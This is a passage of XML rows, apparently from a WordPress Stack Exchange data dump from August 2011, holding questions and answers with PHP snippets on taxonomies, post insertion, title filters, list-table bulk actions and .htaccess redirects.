  <row Id="26501" PostTypeId="2" ParentId="26493" CreationDate="2011-08-21T22:15:56.490" Score="0" ViewCount="" Body="&lt;p&gt;Name of the input field should match with the filler shortcode so that it returns data.&#xA;I changed&#xA;&lt;code&gt;$output = '&amp;lt;select name=&quot;contact_venue&quot;&lt;/code&gt; to &lt;code&gt;$output = '&amp;lt;select name=&quot;selected-venue&quot;&lt;/code&gt; and it works now.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-21T22:15:56.490" />
  <row Id="26502" PostTypeId="2" ParentId="26478" CreationDate="2011-08-21T22:27:01.013" Score="0" ViewCount="" Body="&lt;p&gt;There is a function called wp_insert_post that takes a parameter for post ID. If the post ID is an ID that already exists, this function will update the post with the information you pass in the function parameters. I think using that function you could find a way to retrieve all of your post ID's in an array and then use a foreach loop to update each one.&lt;/p&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2011-08-21T22:27:01.013" CommentCount="2" />
  <row Id="26503" PostTypeId="2" ParentId="26489" CreationDate="2011-08-21T22:31:04.557" Score="1" ViewCount="" Body="&lt;p&gt;Here is some code that I've used to add posts from a front end form that also adds meta data and taxonomy terms. Note that snippet extracts all of the security, data validation and data sanitization. It just show what I do with the data to add it to the database once I've sanitized it all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Submit the values if there are no errors&#xA;if(empty($errors))&#xA;{&#xA;    // Prepare title&#xA;    $term = get_term_by('id', $values['complaint_type'], 'complaint-type');&#xA;    $title = $values['address_clean'].' ('.$term-&amp;gt;name.')';&#xA;&#xA;    // Gather post data&#xA;    $post = array(&#xA;        'post_title' =&amp;gt; $title,&#xA;        'post_content' =&amp;gt; $values['description'],&#xA;        'post_status' =&amp;gt; 'publish', &#xA;        'post_type' =&amp;gt; PREFIX_POST_TYPE_NAME,&#xA;        'post_author' =&amp;gt; 1&#xA;    );&#xA;&#xA;    // Attempt to add post&#xA;    if($id = wp_insert_post($post))&#xA;    {&#xA;        // Add metadata to post&#xA;        update_post_meta($id, '_'.PREFIX_PLUGIN_NAME_L.'_latitude', $values['latitude']);&#xA;        update_post_meta($id, '_'.PREFIX_PLUGIN_NAME_L.'_longitude', $values['longitude']);&#xA;&#xA;        // Associate complaint-type&#xA;        if(!wp_set_post_terms($id, $values['complaint_type'], 'complaint-type'))&#xA;            $errors['wp_set_post_terms'] = 'There was an error adding the complaint type.';&#xA;    }&#xA;    else&#xA;        $errors['wp_insert_post'] = 'There was an error adding the complaint.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-21T22:31:04.557" />
  <row Id="26504" PostTypeId="2" ParentId="26498" CreationDate="2011-08-21T22:34:08.913" Score="0" ViewCount="" Body="&lt;p&gt;WordPress multisite only has one table for users, so yes, users can use the same account on both sites. You will just have to be sure to set the appropriate role on each site, as network users are not necessarily users of a given site.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-21T22:34:08.913" CommentCount="2" />
  <row Id="26505" PostTypeId="1" CreationDate="2011-08-21T22:42:48.000" Score="0" ViewCount="7" Body="&lt;p&gt;OK, I am very familiar with hyperdb and a few others out there, but none seem to allow me to split individual db tables amongst multiple servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I imported my 1.25million posts from a vbulletin install into the new bbpress plugin. Needless to say my posts/posts-meta tables for that subdomain site are now HUGE and will only grow larger at an exponential rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does wp do in the instance where a single site grows this large?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*my db server is having no trouble at the moment, but at some point this table is going to grow beyond what any single server db is supposed to handle. No idea what that point is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have multiple dedicated servers available to work with across a number of datacenters.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-08-21T22:42:48.000" Title="Plugin for splitting a db table on a multisite setup?" Tags="&lt;scale&gt;" />
  <row Id="26506" PostTypeId="1" CreationDate="2011-08-21T22:46:13.363" Score="0" ViewCount="32" Body="&lt;p&gt;Im trying to set up an if statement to display certain code, if the user is on a certain page. I've got the links and student work pages to work, but when I add the if not link and not student work I get an unexpected T_BOOLEAN_AND error. How can I fix this so I can list the pages I don't want custom code for and use just page.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;            if (!is_page('links')) &amp;amp;&amp;amp; (!is_page('student-work'))  {&#xA;                include(TEMPLATEPATH . '/pages/page.php');&#xA;            } elseif (is_page('links')) {&#xA;                query_posts('cat=2');&#xA;                include(TEMPLATEPATH . '/pages/links.php');&#xA;            } elseif (is_page('student-work')) {&#xA;                query_posts('cat=4');&#xA;                include(TEMPLATEPATH . '/pages/student-work.php');&#xA;            }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8088" LastEditorUserId="8088" LastEditorDisplayName="" LastEditDate="2011-08-22T00:11:45.220" LastActivityDate="2011-08-22T01:52:47.050" Title="How to display code if it is not certain pages?" Tags="&lt;page&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="26507" PostTypeId="1" CreationDate="2011-08-21T23:45:27.010" Score="0" ViewCount="18" Body="&lt;p&gt;I haven't seen this done, but I want to return the custom field values outside of the loop in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin, or another way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-08-22T04:11:23.610" Title="Get custom field values into the sidebar/widget?" Tags="&lt;custom-field&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="26508" PostTypeId="2" ParentId="23599" CreationDate="2011-08-21T23:59:10.513" Score="0" ViewCount="" Body="&lt;p&gt;Did you flush the rewrite rules?  Add this after your custom taxonomy code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    flush_rewrite_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You only need to have this run once when you make a change.  Comment it out after it works.&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2011-08-21T23:59:10.513" />
  <row Id="26509" PostTypeId="1" CreationDate="2011-08-22T00:02:16.053" Score="0" ViewCount="39" Body="&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    // First taxonomy&#xA;    function dropdown_tag($taxonomy, $args = '' ) {&#xA;        $defaults = array('taxonomy' =&amp;gt; 'issues', // &amp;lt;- write taxonomy name&#xA;            'smallest' =&amp;gt; 8, 'largest' =&amp;gt; 22, 'unit' =&amp;gt; 'pt', 'number' =&amp;gt; 45,&#xA;            'format' =&amp;gt; 'flat', 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC',&#xA;            'exclude' =&amp;gt; '', 'include' =&amp;gt; ''&#xA;        );&#xA;        $args = wp_parse_args( $args, $defaults );&#xA;&#xA;        $terms = get_terms($taxonomy, array_merge($args, array('orderby' =&amp;gt; 'count', 'order' =&amp;gt; 'DESC')) );&#xA;&#xA;        if ( empty($terms) )&#xA;            return;&#xA;&#xA;        $return = generate_dropdown_tag( $terms, $taxonomy, $args );&#xA;        if ( is_wp_error( $return ) )&#xA;            return false;&#xA;        else&#xA;            echo apply_filters( 'dropdown_tag', $return, $args );&#xA;    }&#xA;&#xA;&#xA;&#xA;    function generate_dropdown_tag( $terms, $taxonomy, $args = '' ) {&#xA;        global $wp_rewrite;&#xA;        $defaults = array(&#xA;            'smallest' =&amp;gt; 8, 'largest' =&amp;gt; 22, 'unit' =&amp;gt; 'pt', 'number' =&amp;gt; 45,&#xA;            'format' =&amp;gt; 'flat', 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC'&#xA;        );&#xA;        $args = wp_parse_args( $args, $defaults );&#xA;        extract($args);&#xA;&#xA;        if ( !$terms )&#xA;            return;&#xA;        $counts = $term_links = array();&#xA;        foreach ( (array) $terms as $term ) {&#xA;            $counts[$term-&amp;gt;name] = $term-&amp;gt;count;&#xA;            $term_links[$term-&amp;gt;name] = get_term_link( $term-&amp;gt;name, $taxonomy );&#xA;            if ( is_wp_error( $term_links[$term-&amp;gt;name] ) )&#xA;                return $term_links[$term-&amp;gt;name];&#xA;            $term_ids[$term-&amp;gt;name] = $term-&amp;gt;term_id;&#xA;        }&#xA;&#xA;        $min_count = min($counts);&#xA;        $spread = max($counts) - $min_count;&#xA;        if ( $spread &amp;lt;= 0 )&#xA;            $spread = 1;&#xA;        $font_spread = $largest - $smallest;&#xA;        if ( $font_spread &amp;lt;= 0 )&#xA;            $font_spread = 1;&#xA;        $font_step = $font_spread / $spread;&#xA;&#xA;        // SQL cannot save you; this is a second (potentially different) sort on a subset of data.&#xA;        if ( 'name' == $orderby )&#xA;            uksort($counts, 'strnatcasecmp');&#xA;        else&#xA;            asort($counts);&#xA;&#xA;        if ( 'DESC' == $order )&#xA;            $counts = array_reverse( $counts, true );&#xA;&#xA;        $a = array();&#xA;&#xA;        $rel = ( is_object($wp_rewrite) &amp;amp;&amp;amp; $wp_rewrite-&amp;gt;using_permalinks() ) ? ' rel=&quot;term&quot;' : '';&#xA;&#xA;        foreach ( $counts as $term =&amp;gt; $count ) {&#xA;            $term_id = $term_ids[$term];&#xA;            $term_link = clean_url($term_links[$term]);&#xA;            $term = str_replace(' ', '&amp;amp;nbsp;', wp_specialchars( $term ));&#xA;            $a[] = &quot;\t&amp;lt;option value='$term_link'&amp;gt;$term ($count)&amp;lt;/option&amp;gt;&quot;;&#xA;        }&#xA;&#xA;        switch ( $format ) :&#xA;        case 'array' :&#xA;            $return =&amp;amp; $a;&#xA;            break;&#xA;        case 'list' :&#xA;            $return = &quot;&amp;lt;ul class='wp-tag-cloud'&amp;gt;\n\t&amp;lt;li&amp;gt;&quot;;&#xA;            $return .= join(&quot;&amp;lt;/li&amp;gt;\n\t&amp;lt;li&amp;gt;&quot;, $a);&#xA;            $return .= &quot;&amp;lt;/li&amp;gt;\n&amp;lt;/ul&amp;gt;\n&quot;;&#xA;            break;&#xA;        default :&#xA;            $return = join(&quot;\n&quot;, $a);&#xA;            break;&#xA;        endswitch;&#xA;&#xA;        return apply_filters( 'generate_dropdown_tag', $return, $term, $args );&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this is in my functions.php file and creates a dropdown of taxonomy terms....which links to the archives for every post that has those specific terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;form action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $taxonomies = array('issues');&#xA;                    $args = array('orderby'=&amp;gt;'name','hide_empty'=&amp;gt;true);&#xA;                    $select = get_terms_dropdown($taxonomies, $args);&#xA;&#xA;                  $select = preg_replace(&quot;#&amp;lt;select([^&amp;gt;]*)&amp;gt;#&quot;, &quot;&amp;lt;select$1 onchange='return this.form.submit()'&amp;gt;&quot;, $select);&#xA;                echo $select;&#xA;                ?&amp;gt;&#xA;                &amp;lt;noscript&amp;gt;&amp;lt;div&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Nada&quot; /&amp;gt;&amp;lt;/div&amp;gt;    &amp;lt;/noscript&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to limit the terms being called to just one category? And also to link to the archive of that term in that specific category?&lt;/p&gt;&#xA;" OwnerUserId="8089" LastEditorUserId="8089" LastEditorDisplayName="" LastEditDate="2011-08-25T05:18:08.940" LastActivityDate="2011-08-25T05:18:08.940" Title="List taxonomy terms restricted to one specific category" Tags="&lt;categories&gt;&lt;customization&gt;&lt;taxonomy&gt;&lt;terms&gt;&lt;get-terms&gt;" CommentCount="5" />
  <row Id="26510" PostTypeId="2" ParentId="26469" CreationDate="2011-08-22T00:02:23.020" Score="0" ViewCount="" Body="&lt;p&gt;This question is not very descriptive and can't really be answered unless you reword.  Question/comments that come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;why do you have an older wp database?  you should upgrade to the newest version.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you have an old wordpress installation, you can just insert posts the same way as you do now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you need to programmatically add posts to an old wordpress installation, this doesn't make a lot of sense.  I would just upgrade your wordpress to the latest version, and then add your posts in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Clarify your question, and someone will be able to help you.&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2011-08-22T00:02:23.020" />
  <row Id="26511" PostTypeId="1" AcceptedAnswerId="26522" CreationDate="2011-08-22T00:10:13.257" Score="0" ViewCount="18" Body="&lt;p&gt;If anybody knows where to find a most popular tags hack, I would be forever grateful.  I've searched and searched to no avail.&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-08-22T02:58:41.797" Title="Can't Find a &quot;Most Popular Tags&quot; Hack Anywhere" Tags="&lt;tags&gt;&lt;hacks&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26512" PostTypeId="2" ParentId="26499" CreationDate="2011-08-22T00:10:53.713" Score="1" ViewCount="" Body="&lt;p&gt;Afaik you just have set the name of the &lt;code&gt;$parent_slug&lt;/code&gt; (the first argument) exactly the same as the parent slug.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-22T00:10:53.713" CommentCount="6" />
  <row Id="26513" PostTypeId="2" ParentId="25269" CreationDate="2011-08-22T00:37:00.677" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to Chris's suggestion of assigning a capability on the fly I was able to get something working that might help someone else. There may be a better method, but this one works well for my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I'm working with a custom post type of &lt;code&gt;listing&lt;/code&gt; I needed to assign the mapped capability &lt;code&gt;publish_listings&lt;/code&gt; to the user, but only after they are approved. The best way I could think of doing this was to include an &quot;admin only&quot; metabox on the custom post screens that only admins could see. This was done with the help of &lt;code&gt;WPAlchemy&lt;/code&gt; and it's &lt;code&gt;output_filter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a metabox that only an admin could now see, I added a simple checkbox. When checked, and the post is updated, it adds the &lt;code&gt;publish_listings&lt;/code&gt; capability to the author of the current post. being a type of directory site, I'm only allowing 1 post per author in my case so this works quite well. If unchecked and updated, the capability is removed. So the use case would look like this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User submits post for approval&lt;/li&gt;&#xA;&lt;li&gt;Admin reviews post, ticks the checkbox, and publishes the post for the first time&lt;/li&gt;&#xA;&lt;li&gt;User is now free to update their post at will, including making it a draft and publishing it again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, I'm using WPAlchemy for the heavy lifting of metaboxes, so I was able to utilise &lt;code&gt;save_filter&lt;/code&gt; to add the capability when the post is updated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_admin_only( $meta, $post_id ) {&#xA;global $post;&#xA;&#xA;//get the author ID of the post we're on&#xA;$author_id = $post-&amp;gt;post_author;&#xA;$id = get_the_author_meta( 'ID' , $author_id );&#xA;$user = new WP_User( $id ); //retrieves the user, based on their ID specified above for user with WP_User class&#xA;&#xA;    if($meta['_can_publish'] == 'yes') {    &#xA;        $user-&amp;gt;add_cap( 'publish_listings' ); //assign capability to this user if checkbox is ticked&#xA;    }&#xA;    else { $user-&amp;gt;remove_cap( 'publish_listings' ); } //otherwise remove the capability so they can not publish&#xA;&#xA;return $meta;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to check for a custom post type (say you had more than one), you can wrap it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'other_post_type' == get_post_type() ) {&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks like it could be extremely helpful for other scenarios where you don't want to create a whole new role, just to give a user some capabilities. If anyone can improve on the above, then please do.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-22T00:37:00.677" CommentCount="1" />
  <row Id="26514" PostTypeId="2" ParentId="2100" CreationDate="2011-08-22T01:06:07.503" Score="0" ViewCount="" Body="&lt;p&gt;Alex,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you ever come to a resolution on this issue of synchronization? I'm setting up WordPress for the first time, and my mind turned to testing environments and such yesterday afternoon. I've been looking online for resolutions since then, but I haven't found one that I deemed suitable (read: as easy as it should be, given WordPress's breadth of use). Elaborate versioning and configuration solutions aside, there should be an easier solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What course of action did you decide to run with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="8090" LastActivityDate="2011-08-22T01:06:07.503" CommentCount="2" />
  <row Id="26515" PostTypeId="2" ParentId="24847" CreationDate="2011-08-22T01:38:44.080" Score="1" ViewCount="" Body="&lt;p&gt;Assuming you're using the standard column_cb() function, the list table will pass the IDs of the selected rows in an array in $_GET, labeled as whatever you assigned to 'singular' in the list table's constructor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a typical column_cb():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function column_cb($item){&#xA;        return sprintf(&#xA;            '&amp;lt;input type=&quot;checkbox&quot; name=&quot;%1$s[]&quot; value=&quot;%2$s&quot; /&amp;gt;',&#xA;            /*$1%s*/ $this-&amp;gt;_args['singular'],  //Let's simply repurpose the table's singular label (&quot;video&quot;)&#xA;            /*$2%s*/ $item-&amp;gt;id             //The value of the checkbox should be the record's id&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, let's say I have a list table that displays videos.  The constructor would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct(){&#xA;        global $status, $page;&#xA;&#xA;        //Set parent defaults&#xA;        parent::__construct( array(&#xA;            'singular'  =&amp;gt; 'video',     //singular name of the listed records&#xA;            'plural'    =&amp;gt; 'videos',    //plural name of the listed records&#xA;            'ajax'      =&amp;gt; false        //does this table support ajax?&#xA;        ) );&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if you check three rows in the list table, select &quot;Delete&quot; from the bulk actions list, and hit apply, you could access the selected rows by using $_GET['video'].&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function process_bulk_action() {&#xA;&#xA;        //Detect when a bulk action is being triggered...&#xA;        if( 'delete'===$this-&amp;gt;current_action() ) {&#xA;            foreach($_GET['video'] as $video) {&#xA;                //$video will be a string containing the ID of the video&#xA;                //i.e. $video = &quot;123&quot;;&#xA;                //so you can process the id however you need to.&#xA;                delete_this_video($video);&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-08-22T01:38:44.080" CommentCount="2" />
  <row Id="26516" PostTypeId="2" ParentId="14383" CreationDate="2011-08-22T01:40:53.183" Score="0" ViewCount="" Body="&lt;p&gt;@jaysonp, you were really close but in your Rewrite rule you forgot the www.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this in your htaccess file right under RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^domain.com$ [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-08-22T01:40:53.183" />
  <row Id="26517" PostTypeId="1" AcceptedAnswerId="26519" CreationDate="2011-08-22T01:50:59.083" Score="2" ViewCount="29" Body="&lt;p&gt;Is there a plugin to notify commenters of one post to receive emails about new comments made on that post? Only commenters who entered emails will be notified.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2011-08-23T14:59:41.607" Title="Notify commenters about new replies" Tags="&lt;plugins&gt;&lt;comments&gt;&lt;email&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="26518" PostTypeId="2" ParentId="26506" CreationDate="2011-08-22T01:52:47.050" Score="1" ViewCount="" Body="&lt;p&gt;This is really just PHP, not WP, but your initial if statement has an extra parenthesis after &lt;code&gt;!is_page('links')&lt;/code&gt;, so the &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; is outside and PHP doesn’t know what to do with it. It'd be better to reorganize the block anyway, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;        if (is_page('links')) {&#xA;            query_posts('cat=2');&#xA;            include(TEMPLATEPATH . '/pages/links.php');&#xA;        } elseif (is_page('student-work')) {&#xA;            query_posts('cat=4');&#xA;            include(TEMPLATEPATH . '/pages/student-work.php');&#xA;        }&#xA;        else  {&#xA;            include(TEMPLATEPATH . '/pages/page.php');&#xA;        }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In terms of WordPress, you'd probably be better off using page-specific template files, such as &lt;code&gt;page-links.php or page-student-work.php&lt;/code&gt;. You could also use &lt;code&gt;get_template_part()&lt;/code&gt; instead of includes to accomplish what that if/else block does in just one line if you need to keep this all in one file for some reason.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-22T01:52:47.050" />
  <row Id="26519" PostTypeId="2" ParentId="26517" CreationDate="2011-08-22T02:23:49.987" Score="2" ViewCount="" Body="&lt;p&gt;check this plugin out: &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/subscribe-to-comments/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-22T02:23:49.987" CommentCount="2" />
  <row Id="26520" PostTypeId="1" CreationDate="2011-08-22T02:51:03.110" Score="0" ViewCount="9" Body="&lt;p&gt;I have this code for random posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;shuffle(query_posts('cat=&amp;amp;showposts=45&amp;amp;offset=0&amp;amp;orderby=rand'));&#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code gives me the random posts from every category.&#xA;I'd like to make the user select the category and then get the random posts only from that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: You're into this page and have that 45 random posts showing from all the categories, but you're interested to see randondom stuff only from &quot;photography&quot; then select the photography and the page shows only that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way to do that?&lt;/p&gt;&#xA;" OwnerUserId="8092" LastActivityDate="2011-08-22T02:51:03.110" Title="How to Get Random Posts selecting the Category?" Tags="&lt;posts&gt;" />
  <row Id="26521" PostTypeId="2" ParentId="23602" CreationDate="2011-08-22T02:53:31.037" Score="0" ViewCount="" Body="&lt;p&gt;you might have to delete &lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&lt;/code&gt; from the top of your file and make your code on the very 1st line of your file&lt;/p&gt;&#xA;" OwnerUserId="7924" LastActivityDate="2011-08-22T02:53:31.037" />
  <row Id="26522" PostTypeId="2" ParentId="26511" CreationDate="2011-08-22T02:58:41.797" Score="1" ViewCount="" Body="&lt;p&gt;check this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/most-popular-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/most-popular-tags/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And/ or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see this codex: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_tag_cloud&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_tag_cloud&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-22T02:58:41.797" />
  <row Id="26523" PostTypeId="1" CreationDate="2011-08-22T03:05:50.917" Score="0" ViewCount="8" Body="&lt;p&gt;Right, I've checked high and low for the answer to this but I can't seem to find it anywhere so here goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm trying to make the list in the categories widget appear as two (or more) different columns, but the problem is changing the code in the Sidebar.php template file does not have any affect on any of the sidebar widgets! This means I can't input any of the php code solutions I've found in previous questions on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site in question is: &lt;a href=&quot;http://www.homeinsights.org&quot; rel=&quot;nofollow&quot;&gt;http://www.homeinsights.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to mention is that 'Dynamic Widgets' plugin and 'Select Featured' Posts plugin are currently active on the site, so I am not sure if these may be causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to summarise, I cannot seem to find any way of editing the categories widget so that the categories listed appear in two (or more) columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this would be so much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="8091" LastActivityDate="2011-08-22T03:05:50.917" Title="Need help editing Sidebar.php so that Categories Widget layout shows columns" Tags="&lt;categories&gt;" />
  <row Id="26524" PostTypeId="1" AcceptedAnswerId="26525" CreationDate="2011-08-22T03:39:03.163" Score="1" ViewCount="23" Body="&lt;p&gt;I'm trying to create a custom wordpress title for a posts made under a custom post. Basically, its a version changelog for an application. I would like to only input the version number in the title field, and the output has to be standardized with a string accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post type is 'custom_version' and the title output that I'm looking for is &quot;Application has been updated to version &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've understood that this can be achieved using add_filter and I've tried playing with this code for days now, but I'm not really a PHP Pro so help is much appreciated :) Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_title', 'new_title');&#xA;function new_title($title) {&#xA;    global $post, $post_ID;&#xA;    $title['custom_version'] = 'Application has been updated to v'.$title;&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-22T04:00:50.913" LastActivityDate="2011-08-22T04:56:26.610" Title="Customizing Wordpress the_title with add_filter" Tags="&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="26525" PostTypeId="2" ParentId="26524" CreationDate="2011-08-22T03:46:07.053" Score="1" ViewCount="" Body="&lt;p&gt;The issue is that you are mixing up the &lt;code&gt;$title&lt;/code&gt; variables. &lt;code&gt;$title&lt;/code&gt; is the parameter passed to the &lt;code&gt;new_title&lt;/code&gt; function, but then you use it as an array: &lt;code&gt;$title['custom_version']&lt;/code&gt;. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_title', 'new_title', 10, 2);&#xA;function new_title($title, $id) {&#xA;    if('custom_version' == get_post_type($id))&#xA;        $title = 'Application has been updated to v'.$title;&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd also highly recommend prefixing your function with a unique prefix because you may run into another plugin/theme using a function called &lt;code&gt;new_title&lt;/code&gt;, which will reek havoc!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-22T04:56:26.610" LastActivityDate="2011-08-22T04:56:26.610" CommentCount="3" />
  <row Id="26526" PostTypeId="2" ParentId="26507" CreationDate="2011-08-22T04:11:23.610" Score="0" ViewCount="" Body="&lt;p&gt;Definitely doable with tons of different ways to accomplish it. Basically, you can use a &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;widget that allows for the execution of PHP&lt;/a&gt; or modify your theme files to execute PHP in the sidebar. The main function you will need is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta&lt;/code&gt;&lt;/a&gt;. You also need to access the post/page/CPT ID. You can use code like the following to get your post meta displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;if(is_object($wp_query-&amp;gt;queried_object) &amp;amp;&amp;amp; $wp_query-&amp;gt;queried_object-&amp;gt;ID)&#xA;{&#xA;    echo get_post_meta($wp_query-&amp;gt;queried_object-&amp;gt;ID, 'my_post_meta_key', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, you need to change the &quot;my_post_meta_key&quot; value to a key that corresponds to the meta data that you want. Also, there are other ways to access the current page/post/CPT ID, 